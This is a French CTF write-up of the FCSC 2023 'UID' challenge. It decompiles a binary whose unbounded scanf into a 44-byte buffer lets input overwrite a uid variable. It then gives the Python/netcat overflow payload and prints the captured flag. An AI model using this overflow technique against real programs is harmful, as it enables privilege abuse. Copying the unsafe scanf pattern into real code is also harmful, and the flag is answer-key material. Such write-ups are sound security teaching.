🇫🇷 FCSC 2023 – UID – CTF Write up

Description

On vous demande d’exploiter le binaire fourni pour lire le fichier flag.txt qui se trouve sur le serveur distant.

nc challenges.france-cybersecurity-challenge.fr 2100

RĂ©solution

Ce challenge Ă©tait un cas d’Ă©cole d’introduction au reverse.

En testant le binaire on obtient le résultat suivant :

~/Desktop/FCSC 2023/uid ·············································─╮
❯ ./uid                                                              ─╯
username: Lun
cat: flop.txt: Aucun fichier ou dossier de ce type

On commence par désassembler le binaire avec Ghidra :

Le code peut être résumé ainsi :

int main(void){

  char buffer[44];
  __uid_t uid;

  uid = geteuid();
  printf("username: ");
  fflush(stdout);
  scanf("%s",buffer);
  if (uid == 0) {
    system("cat flag.txt");
  }
  else {
    system("cat flop.txt");
  }
  return 0;
}

Ce code C affiche le contenu du fichier flag.txt si la variable uid est Ă©gale Ă  0. On constate l’usage de la fonction scanf qui est vulnĂ©rable au buffer overflow. On va donc pouvoir Ă©craser la valeur de uid si on dĂ©passe la taille du buffer (44 caractères).

Grâce à python on va pouvoir créer la payload :

python3 -c 'import sys; sys.stdout.write("A"*44 + "\x00\x00\x00\x00")'

On obtient le flag ainsi :

python3 -c 'import sys; sys.stdout.write("A"*44 + "\x00\x00\x00\x00\n")' | nc challenges.france-cybersecurity-challenge.fr 2100

Vous remarquerez l’ajout du \n pour indiquer Ă  netcat que c’est la fin de notre entrĂ©e.

On obtient alors en retour le flag :

username: FCSC{3ce9bedca72ad9c23b1714b5882ff5036958d525d668cadeb28742c0e2c56469}